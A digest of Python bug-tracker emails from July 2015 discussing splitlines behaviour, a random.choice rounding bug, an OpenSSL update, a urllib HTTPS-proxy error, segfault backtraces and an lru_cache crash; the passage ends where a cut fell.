bugs.python.org Fri Jul 10 08:35:56 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 06:35:56 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436500587.33.0.314859695322.issue24598@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Python 3.4 is able to break reference cycles even if an object part of the cycle has a destructor. See the PEP 442. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 09:32:49 2015 From: report at bugs.python.org (Julian Taylor) Date: Fri, 10 Jul 2015 07:32:49 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436513569.04.0.460453429203.issue23601@psf.upfronthosting.co.za> Julian Taylor added the comment: Your benchmarks are not affected by this change see the other issue. They are also not representative of every workload out there. I can at least see the argument why you didn't want to put the other variant of this change in as it made the code a tiny bit more complicated, but I do not understand the reluctance for this variant. It doesn't change the complexity of the code one bit. If you doubt the performance of pythons own small object allocator, python should maybe stop using it alltogether? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 10:05:19 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jul 2015 08:05:19 +0000 Subject: [issue18291] codecs.open interprets FS, RS, GS as line ends In-Reply-To: <1372079472.71.0.230881178227.issue18291@psf.upfronthosting.co.za> Message-ID: <1436515519.68.0.961706108174.issue18291@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- title: codecs.open interprets space as line ends -> codecs.open interprets FS, RS, GS as line ends _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 10:09:29 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jul 2015 08:09:29 +0000 Subject: [issue22232] str.splitlines splitting on non-\r\n characters In-Reply-To: <1408528911.37.0.452679392827.issue22232@psf.upfronthosting.co.za> Message-ID: <1436515769.93.0.125428099197.issue22232@psf.upfronthosting.co.za> Martin Panter added the comment: The main documentation has been updated and Issue 12855 has been closed. What is left to do here, considering this is marked as a documenation bug? Just modify the doc strings, as Terry suggested in ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 10:15:58 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 10 Jul 2015 08:15:58 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436516158.31.0.382785747773.issue24567@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > I propose to rewrite Random.randint() in random.py. If that would give a different sequence of random numbers, I'm not sure that's acceptable in a bugfix release. Raymond can shed a light. ---------- stage: -> needs patch versions: -Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 10:19:59 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jul 2015 08:19:59 +0000 Subject: [issue24601] bytes and unicode splitlines() methods differ on what is a line break In-Reply-To: <1436494713.33.0.435726120833.issue24601@psf.upfronthosting.co.za> Message-ID: <1436516399.89.0.513970669405.issue24601@psf.upfronthosting.co.za> Martin Panter added the comment: * Issue 7643: Originally a complaint about the difference, but was closed after adding more differences! * Issue 22232: Documentation bug, but with some discussion on changing the API. Maybe a duplicate? * Issue 22233: Email and HTTP message parsing bug related to incorrectly using splitlines() * Issue 18291: codecs.StreamReader uses splitlines(), but io.TextIOWrapper uses universal newlines ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 10:35:36 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 08:35:36 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436516158.31.0.382785747773.issue24567@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: As I wrote, glib switch from floats to integers to generate random numbers. To provide reproductible "random" numbers, an environment variable was added to select the old PRNG. Anyway, if we modify random.py, the generated numbers should be different, no? To me, it's always a strange concept of having reproductible "random" numbers :-) But I understand the use case. For example, to run a test suite, we want randomization and to be able to replay a test suite in the same order. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 11:02:48 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 10 Jul 2015 09:02:48 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436518968.65.0.793917565535.issue24567@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > As I wrote, glib switch from floats to integers to generate random > numbers. And as I wrote, this would be accepted in a feature release. Not necessarily a bugfix release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 11:38:54 2015 From: report at bugs.python.org (Friedrich Spee von Langenfeld) Date: Fri, 10 Jul 2015 09:38:54 +0000 Subject: [issue24603] New update of OpenSSL Message-ID: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za> New submission from Friedrich Spee von Langenfeld: The developers of OpenSSL have published a new update. It fixes a bug marked as severe (https://www.openssl.org/news/secadv_20150709.txt). It seems that we are using a vulnerable version. Could someone who knows the relevant files' locations update our repository? Many thanks in advance. ---------- components: Build messages: 246552 nosy: Friedrich.Spee.von.Langenfeld priority: normal severity: normal status: open title: New update of OpenSSL type: security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 11:54:43 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 09:54:43 +0000 Subject: [issue24603] New update of OpenSSL In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za> Message-ID: <1436522083.43.0.633191269662.issue24603@psf.upfronthosting.co.za> STINNER Victor added the comment: Yes, read the discussion on python-dev: https://mail.python.org/pipermail/python-dev/2015-July/140706.html Christian Heimes wrote: "1.0.2c is only used in 3.5b3. The production builds are either using 1.0.2a or 1.0.1j." Should I understand that only Windows installers of the beta version of Python 3.5 are vulnerable? ---------- components: +Windows nosy: +haypo, paul.moore, steve.dower, tim.golden, zach.ware versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 12:13:55 2015 From: report at bugs.python.org (Stefano Mazzucco) Date: Fri, 10 Jul 2015 10:13:55 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436523235.26.0.761301452598.issue24599@psf.upfronthosting.co.za> Stefano Mazzucco added the comment: Martin, thanks for elaborating my thoughts! I have dug I bit deeper in Python2's urllib code with pdb, and I think I have narrowed the issue down to what open_http does. In my example code, replacing opener.open(url) with opener.open_http(url) gives the same problem. I realize I did not provide you with the output of the script, so here it is: * Python 2.7.10 python urllib_error.py ('Trying to open', 'https://www.python.org') Traceback (most recent call last): File "urllib_error.py", line 30, in opener.open_http((host, selector)) File "/home/mazzucco/.pyenv/versions/2.7.10/lib/python2.7/urllib.py", line 364, in open_http return self.http_error(url, fp, errcode, errmsg, headers) File "/home/mazzucco/.pyenv/versions/2.7.10/lib/python2.7/urllib.py", line 381, in http_error return self.http_error_default(url, fp, errcode, errmsg, headers) File "/home/mazzucco/.pyenv/versions/2.7.10/lib/python2.7/urllib.py", line 386, in http_error_default raise IOError, ('http error', errcode, errmsg, headers) IOError: ('http error', 501, 'Not Implemented', ) * Python 3.4.3 python urllib_error.py Trying to open https://www.python.org Traceback (most recent call last): File "urllib_error.py", line 30, in opener.open_http((host, selector)) File "/home/mazzucco/.pyenv/versions/3.4.3/lib/python3.4/urllib/request.py", line 1805, in open_http return self._open_generic_http(http.client.HTTPConnection, url, data) File "/home/mazzucco/.pyenv/versions/3.4.3/lib/python3.4/urllib/request.py", line 1801, in _open_generic_http response.status, response.reason, response.msg, data) File "/home/mazzucco/.pyenv/versions/3.4.3/lib/python3.4/urllib/request.py", line 1821, in http_error return self.http_error_default(url, fp, errcode, errmsg, headers) File "/home/mazzucco/.pyenv/versions/3.4.3/lib/python3.4/urllib/request.py", line 1826, in http_error_default raise HTTPError(url, errcode, errmsg, headers, None) urllib.error.HTTPError: HTTP Error 501: Not Implemented When I unwrap the contents of httplib.HTTPMessage, the error page returned by the squid proxy says: ------------------------------------------------------- ERROR The requested URL could not be retrieved The following error was encountered while trying to retrieve the URL: https://www.python.org Unsupported Request Method and Protocol Squid does not support all request methods for all access protocols. For example, you can not POST a Gopher request. ------------------------------------------------------- Looking at Python2's implementation of URLopener's open_http, I can get an even more minimal failing example limited to httplib: import httplib host = 'proxy.corp.com:8181' # this is not the actual proxy selector = 'https://www.python.org' print("Trying to open", selector) h = httplib.HTTP(host) h.putrequest('GET', selector) h.putheader('User-Agent', 'Python-urllib/1.17') h.endheaders(None) errcode, errmsg, headers = h.getreply() print(errcode, errmsg) print(headers.items()) Running the script on Python 2.7.10 prints: ('Trying to open', 'https://www.python.org') (501, 'Not Implemented') [('content-length', '3069'), ('via', '1.0 proxy.corp.com (squid/3.1.6)'), ('x-cache', 'MISS from proxy.corp.com'), ('content-language', 'en'), ('x-squid-error', 'ERR_UNSUP_REQ 0'), ('x-cache-lookup', 'NONE from proxy.corp.com:8181'), ('vary', 'Accept-Language'), ('server', 'squid/3.1.6'), ('proxy-connection', 'close'), ('date', 'Fri, 10 Jul 2015 09:27:14 GMT'), ('content-type', 'text/html'), ('mime-version', '1.0')] As I said, I found out about this when using buildout to download files over HTTPS. Buildout uses urllib.urlretrieve on Python2 and urllib.request.urlretrieve on Python3. I guess that the latter has been fixed in issue 1424152, so that's why I can download with buildout on Python3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 12:41:22 2015 From: report at bugs.python.org (Martin Richard) Date: Fri, 10 Jul 2015 10:41:22 +0000 Subject: [issue16487] Allow ssl certificates to be specified from memory rather than files. In-Reply-To: <1436449693.16.0.675414948951.issue16487@psf.upfronthosting.co.za> Message-ID: Martin Richard added the comment: I'm not sure I know how to do this correctly: I lack of experience both with openssl C API and writing python modules in C. It may be more flexible, but unless the key is protected/crypted somehow, one would need a string or bytes buffer to hold the key when creating the private key object: not much secure. Don't you think that it should be addressed in a separate issue? 2015-07-09 15:48 GMT+02:00 Christian Heimes : > > Christian Heimes added the comment: > > I'd rather introduce new types and have the function accept either a > string (for path to fiel) or a X509 object and a PKey object. It's more > flexible and secure. With a private key type we can properly support crypto > ENGINEs and wipe memory when the object gets deallocated. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 13:26:46 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jul 2015 11:26:46 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436527606.31.0.654456175319.issue24599@psf.upfronthosting.co.za> Martin Panter added the comment: Perhaps you might be able to test out the patch to see if that fixes your problem? Though there is a good chance the patch needs updating, since it is fairly old. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 13:58:10 2015 From: report at bugs.python.org (Stefano Mazzucco) Date: Fri, 10 Jul 2015 11:58:10 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436529490.5.0.17723694699.issue24599@psf.upfronthosting.co.za> Stefano Mazzucco added the comment: Martin, I have applied the patch to my Python2.7.10 installation and seem to work OK. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:05:13 2015 From: report at bugs.python.org (cbaud) Date: Fri, 10 Jul 2015 13:05:13 +0000 Subject: [issue24604] problem to install scipy manually on Centos 6 Message-ID: <1436533513.17.0.540190065291.issue24604@psf.upfronthosting.co.za> New submission from cbaud: I'm working with the entreprise distribution Centos 6, unfortunatly the package pyhton3 proposed by the package manager yum isn't working. That why I had to install python manually, for that purpose I used pip3. Once again I had a problem with pip tool to install scipy, pip couldn't find blas and lapack. The error message proposed to specify the location blas and lapack package, but even with that it didn't work. I found the answer on stackoverflow (http://stackoverflow.com/questions/11114225/installing-scipy-and-numpy-using-pip) : you have to install blas-devel and lapack-devel to install scipy with pip3. Nothing was scepified on the document, it could help if some comment would be added. ---------- components: Installation messages: 246558 nosy: cbaud priority: normal severity: normal status: open title: problem to install scipy manually on Centos 6 versions: Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:09:46 2015 From: report at bugs.python.org (josch) Date: Fri, 10 Jul 2015 13:09:46 +0000 Subject: [issue24605] segmentation fault at asciilib_split_char.lto_priv Message-ID: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za> New submission from josch: Hi, sometimes (but not reliably reproducibly, one has to run it a few times) I get a segmentation fault when running the following networkx based Python code on large input graphs: https://gitlab.mister-muffin.de/debian-bootstrap/botch/blob/master/tools/graph-difference.py I'm running Debian unstable with the python3.4 package of version 3.4.3-7 on architecture amd64. The core dump is 1GB large so I'm just attaching the traceback from gdb. The string "hscolour:amd64 (= 1.20.3-2)" that you see in the traceback is one of the vertex attributes in the input graph. What else do you need to debug the problem? #0 asciilib_split_char.lto_priv () at ../Objects/stringlib/split.h:126 #1 0x000000000058e65a in asciilib_split (maxcount=, sep_len=1, sep=0x7f1b3088dfb0 ",", str_len=27, str=0x7f1b230abfb0 "hscolour:amd64 (= 1.20.3-2)", str_obj='hscolour:amd64 (= 1.20.3-2)') at ../Objects/stringlib/split.h:158 #2 split (maxcount=, substring=',', self='hscolour:amd64 (= 1.20.3-2)') at ../Objects/unicodeobject.c:10099 #3 unicode_split.lto_priv () at ../Objects/unicodeobject.c:12639 #4 0x000000000050d8fe in call_function (oparg=, pp_stack=0x7ffdf1a8ed80) at ../Python/ceval.c:4237 #5 PyEval_EvalFrameEx () at ../Python/ceval.c:2838 #6 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588 #7 0x000000000051163d in fast_function (nk=, na=, n=, pp_stack=0x7ffdf1a8ef60, func=) at ../Python/ceval.c:4344 #8 call_function (oparg=, pp_stack=0x7ffdf1a8ef60) at ../Python/ceval.c:4262 #9 PyEval_EvalFrameEx () at ../Python/ceval.c:2838 #10 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588 #11 0x000000000051163d in fast_function (nk=, na=, n=, pp_stack=0x7ffdf1a8f140, func=) at ../Python/ceval.c:4344 #12 call_function (oparg=, pp_stack=0x7ffdf1a8f140) at ../Python/ceval.c:4262 #13 PyEval_EvalFrameEx () at ../Python/ceval.c:2838 #14 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588 #15 0x000000000051163d in fast_function (nk=, na=, n=, pp_stack=0x7ffdf1a8f320, func=) at ../Python/ceval.c:4344 #16 call_function (oparg=, pp_stack=0x7ffdf1a8f320) at ../Python/ceval.c:4262 #17 PyEval_EvalFrameEx () at ../Python/ceval.c:2838 #18 0x00000000005ab095 in PyEval_EvalCodeEx () at ../Python/ceval.c:3588 #19 0x00000000005e16a5 in PyEval_EvalCode ( locals={'__package__': None, '__doc__': None, '__spec__': None, 'sys': , 'graph_difference': , '__file__': './tools/graph-difference.py', '__builtins__': , 'parser': , _registries={'action': {'append': , 'store_true': , 'store_false': , 'help': , 'count': , 'append_const': , 'store': , None: , 'store_const': , 'version': , 'parsers': }, 'type': {None: }}, _group_actions=[<_StoreAction(d...(truncated), globals={'__package__': None, '__doc__': None, '__spec__': None, 'sys': , 'graph_difference': , '__file__': './tools/graph-difference.py', '__builtins__': , 'parser': , _registries={'action': {'append': , 'store_true': , 'store_false': , 'help': , 'count': , 'append_const': , 'store': , None: , 'store_const': , 'version': , 'parsers': }, 'type': {None: }}, _group_actions=[<_StoreAction(d...(truncated), co=) at ../Python/ceval.c:775 #20 run_mod () at ../Python/pythonrun.c:2180 #21 0x00000000005e176a in PyRun_FileExFlags () at ../Python/pythonrun.c:2133 #22 0x00000000005e237a in PyRun_SimpleFileExFlags () at ../Python/pythonrun.c:1606 #23 0x00000000005fdb60 in run_file (p_cf=, filename=, fp=) at ../Modules/main.c:319 #24 Py_Main () at ../Modules/main.c:751 #25 0x00000000004c234f in main () at ../Modules/python.c:69 #26 0x00007f1b30972b45 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #27 0x00000000005ba765 in _start () ---------- messages: 246559 nosy: josch priority: normal severity: normal status: open title: segmentation fault at asciilib_split_char.lto_priv versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:16:57 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 13:16:57 +0000 Subject: [issue24604] problem to install scipy manually on Centos 6 In-Reply-To: <1436533513.17.0.540190065291.issue24604@psf.upfronthosting.co.za> Message-ID: <1436534217.35.0.690199540739.issue24604@psf.upfronthosting.co.za> STINNER Victor added the comment: Sorry, this is the bug tracker of the Python language. See the http://www.scipy.org/ website to report bugs on scipy, thank you. ---------- nosy: +haypo resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:20:54 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 13:20:54 +0000 Subject: [issue24605] segmentation fault at asciilib_split_char.lto_priv In-Reply-To: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za> Message-ID: <1436534454.41.0.0329600698083.issue24605@psf.upfronthosting.co.za> STINNER Victor added the comment: It looks more like a bug in networkx, than a bug in Python itself. networkx has probably issues with reference counter, concurrency (threads), or things like that. I'm unable to reproduce the crash on Python 3.4 (system binary from Fedora 22) or Python 3.6 (compiled manually). haypo at smithers$ ./python Python 3.6.0a0 (default:bb9fc884a838, Jul 6 2015, 15:27:15) [GCC 5.1.1 20150618 (Red Hat 5.1.1-4)] on linux >>> "hscolour:amd64 (= 1.20.3-2)".split() ['hscolour:amd64', '(=', '1.20.3-2)'] >>> "hscolour:amd64 (= 1.20.3-2)".split(",") ['hscolour:amd64 (= 1.20.3-2)'] >>> len("hscolour:amd64 (= 1.20.3-2)") 27 haypo at smithers$ python3 Python 3.4.2 (default, Jan 12 2015, 12:13:20) [GCC 4.9.2 20150107 (Red Hat 4.9.2-5)] on linux >>> "hscolour:amd64 (= 1.20.3-2)".split() ['hscolour:amd64', '(=', '1.20.3-2)'] >>> "hscolour:amd64 (= 1.20.3-2)".split(",") ['hscolour:amd64 (= 1.20.3-2)'] >>> len("hscolour:amd64 (= 1.20.3-2)") 27 ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:22:10 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 13:22:10 +0000 Subject: [issue24605] segmentation fault at asciilib_split_char.lto_priv In-Reply-To: <1436533786.75.0.912431898018.issue24605@psf.upfronthosting.co.za> Message-ID: <1436534530.33.0.362202235144.issue24605@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh, networkx looks to be written in pure Python. You should search for a module implemented in C. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 15:30:13 2015 From: report at bugs.python.org (Lukas Wunner) Date: Fri, 10 Jul 2015 13:30:13 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436535013.94.0.279540934885.issue24599@psf.upfronthosting.co.za> Lukas Wunner added the comment: Thank you Martin for referencing my patch. It still applies cleanly with --fuzz=0 to 2.7.10. Would be awesome if this fix would finally get merged. ---------- nosy: +l _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 16:47:23 2015 From: report at bugs.python.org (Ned Deily) Date: Fri, 10 Jul 2015 14:47:23 +0000 Subject: [issue24603] Update OpenSSL to 1.0.2d in Windows and OS X installer In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za> Message-ID: <1436539643.53.0.852730054099.issue24603@psf.upfronthosting.co.za> Ned Deily added the comment: The Windows installer and the 32-bit-only OS X installer both have local copies of OpenSSL. At the moment, only the 3.5.0 betas have been released with 1.0.2. Setting to release blocker priority for 3.5.0b4. ---------- nosy: +benjamin.peterson, larry, ned.deily priority: normal -> release blocker title: New update of OpenSSL -> Update OpenSSL to 1.0.2d in Windows and OS X installer versions: +Python 2.7, Python 3.4, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 16:49:04 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 14:49:04 +0000 Subject: [issue24603] Update OpenSSL to 1.0.2d in Windows and OS X installer In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za> Message-ID: <1436539744.9.0.485005818606.issue24603@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- components: +Macintosh nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 16:49:57 2015 From: report at bugs.python.org (Tim Peters) Date: Fri, 10 Jul 2015 14:49:57 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436539797.63.0.141274062786.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: > Anyway, if we modify random.py, the generated > numbers should be different, no? Not in a bugfix release. The `min()` trick changes no results whatsoever on a box that doesn't do double-rounding. On a box that does do double-rounding, the only difference in results is that the `min()` trick stops a nasty exception in a relative handful of cases (& makes no difference to any case in which that exception isn't raised). The sequence of results may be different on platforms with double-rounding and without double-rounding, but that's always been true. The `min()` trick changes nothing about that either, except to prevent unintended exceptions on double-rounding boxes. Note that switching to use SSE2 instead also changes nothing on boxes that don't do double-rounding. It would change some results (beyond _just_ stopping bogus exceptions) on boxes that do double-rounding. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 16:53:03 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 14:53:03 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436539982.99.0.5549956573.issue24567@psf.upfronthosting.co.za> STINNER Victor added the comment: Ok, it looks like most people are in favor of min(). Can anyone propose a patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 17:50:22 2015 From: report at bugs.python.org (=?utf-8?q?David_Luke=C5=A1?=) Date: Fri, 10 Jul 2015 15:50:22 +0000 Subject: [issue24606] segfault caused by nested calls to map() Message-ID: <1436543422.2.0.294492637485.issue24606@psf.upfronthosting.co.za> New submission from David Luke?: The following program makes Python 3.4.3 crash with a segmentation fault: ``` #!/usr/bin/env python3 import operator N = 500000 l = [0] for i in range(N): l = map(operator.add, l, [1]) print(list(l)) ``` I suppose the problem is that there are too many nested lazy calls to map, which cause a segfault when evaluated. I've played with N and surprisingly, the threshold to cause the crash varied slightly (between 130900 and 131000 on my machine). I know that a list-comprehension, which is evaluated straight away, would be much more idiomatic for repeated element-wise addition (or numpy arrays for that matter, if available). I'm **not advocating this piece of code**, just wondering whether there couldn't be a more informative way to make Python bail out instead of the segfault? (In my real application, it took me a while to figure where the problem was without a stack trace.) ---------- messages: 246567 nosy: David Luke? priority: normal severity: normal status: open title: segfault caused by nested calls to map() type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 18:52:40 2015 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 10 Jul 2015 16:52:40 +0000 Subject: [issue24601] bytes and unicode splitlines() methods differ on what is a line break In-Reply-To: <1436494713.33.0.435726120833.issue24601@psf.upfronthosting.co.za> Message-ID: <1436547160.32.0.192159962288.issue24601@psf.upfronthosting.co.za> Gregory P. Smith added the comment: hah, i should've searched the tracker first. looks like the other open issues cover this. ---------- resolution: -> duplicate status: open -> closed superseder: -> str.splitlines splitting on non-\r\n characters versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 18:59:23 2015 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 10 Jul 2015 16:59:23 +0000 Subject: [issue22233] http.client splits headers on non-\r\n characters In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za> Message-ID: <1436547563.06.0.433849291939.issue22233@psf.upfronthosting.co.za> Gregory P. Smith added the comment: The obvious fix seems to be to not use splitlines but explicitly split on the allowed characters for ASCII based protocols and formats that only want \r and \n to be considered. I don't think we can rightfully change the unicode splitlines behavior. ---------- nosy: +gregory.p.smith title: http.client splits headers on none-\r\n characters -> http.client splits headers on non-\r\n characters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 19:11:24 2015 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 10 Jul 2015 17:11:24 +0000 Subject: [issue22232] str.splitlines splitting on non-\r\n characters In-Reply-To: <1408528911.37.0.452679392827.issue22232@psf.upfronthosting.co.za> Message-ID: <1436548284.83.0.344202303856.issue22232@psf.upfronthosting.co.za> Gregory P. Smith added the comment: If this isn't already mentioned in 2 to 3 porting notes it is worth highlighting there. code which uses a str in python 2 and still uses a str in python 3 is now splitting on many more characters. That seems to be the source of bugs like issue22233. splitlines() used to work for the strict \r\n splitting task. now that code needs to made explicit about its splitting desires. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 19:26:56 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 10 Jul 2015 17:26:56 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1436513569.04.0.460453429203.issue23601@psf.upfronthosting.co.za> Message-ID: <55A0005C.5070908@behnel.de> Stefan Behnel added the comment: > Your benchmarks are not affected by this change see the other issue. Then you ran them, I assume? Could you show the output here that you got? > They are also not representative of every workload out there. Certainly not, but they do provide a certain variety of workloads that reduce the likelihood of not spotting a regression that this change might introduce. Note that people seem to be rather in favour of your proposed change. If you can show that there are no visible drawbacks, one of them will most likely apply it for you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 19:43:32 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 17:43:32 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436550212.57.0.0389982038082.issue24583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: intermediary.diff LGTM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 19:59:52 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 10 Jul 2015 17:59:52 +0000 Subject: [issue14373] C implementation of functools.lru_cache In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za> Message-ID: <1436551192.55.0.730731079802.issue14373@psf.upfronthosting.co.za> Stefan Behnel added the comment: I'm witnessing a crash in the C implementation during garbage collection. Interestingly, it only shows in the Py3.6 branch, not in Py3.5 (both latest). Here's the gdb session: Program received signal SIGSEGV, Segmentation fault. lru_cache_tp_traverse (self=0x7ffff2a80ae8, visit=0x43c528 , arg=0x0) at ./Modules/_functoolsmodule.c:1040 1040 lru_list_elem *next = link->next; (gdb) list 1035 static int 1036 lru_cache_tp_traverse(lru_cache_object *self, visitproc visit, void *arg) 1037 { 1038 lru_list_elem *link = self->root.next; 1039 while (link != &self->root) { 1040 lru_list_elem *next = link->next; 1041 Py_VISIT(link); 1042 link = next; 1043 } 1044 Py_VISIT(self->maxsize_O); (gdb) print link $1 = (lru_list_elem *) 0x0 (gdb) print self $2 = (lru_cache_object *) 0x7ffff2a80ae8 (gdb) print self->root.next $3 = (struct lru_list_elem *) 0x0 (gdb) print self->root $4 = {ob_base = {_ob_next = 0x7ffff2a26458, _ob_prev = 0x90e860 , ob_refcnt = 1, ob_type = 0x92c500 }, prev = 0x0, next = 0x0, key = 0x0, result = 0x0} IIUC correctly, there is only one entry and the code doesn't expect that. An additional "is empty?" NULL check may or may not be the right fix. It might also be the linking itself that's incorrect here. The code seems to expect a cyclic data structure which is apparently not maintained that way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 20:35:29 2015 From: report at bugs.python.org (Vitali Lovich) Date: Fri, 10 Jul 2015 18:35:29 +0000 Subject: [issue24607] standardize sh module Message-ID: <1436553329.08.0.818798657966.issue24607@psf.upfronthosting.co.za> New submission from Vitali Lovich: The subprocess module provides a good foundation of basic functionality. However, anything moderately complex becomes cumbersome to write. Additionally, it has pitfalls that people frequently overlook. People then often either resort to hand-rolling their own abstraction on top of it, use the library incorrectly, or just use shell scripts if the predominant action is to stitch things together. I have seen great success at avoiding having to write shell-scripts & using the sh package. What once would have been written as shell-scripts now can be written very naturally using sh in a more maintainable & reusable manner. I think sh being part of the standard library would be a great addition & make python even more compelling as a replacement for shell scripts. Having sh be part of the python library also ensures that the `with` syntax could be done in a comprehensive thread-safe manner. https://pypi.python.org/pypi/sh http://amoffat.github.com/sh ---------- components: Library (Lib) messages: 246574 nosy: Vitali Lovich priority: normal severity: normal status: open title: standardize sh module _______________________________________ Python tracker _______________________________________ From report at 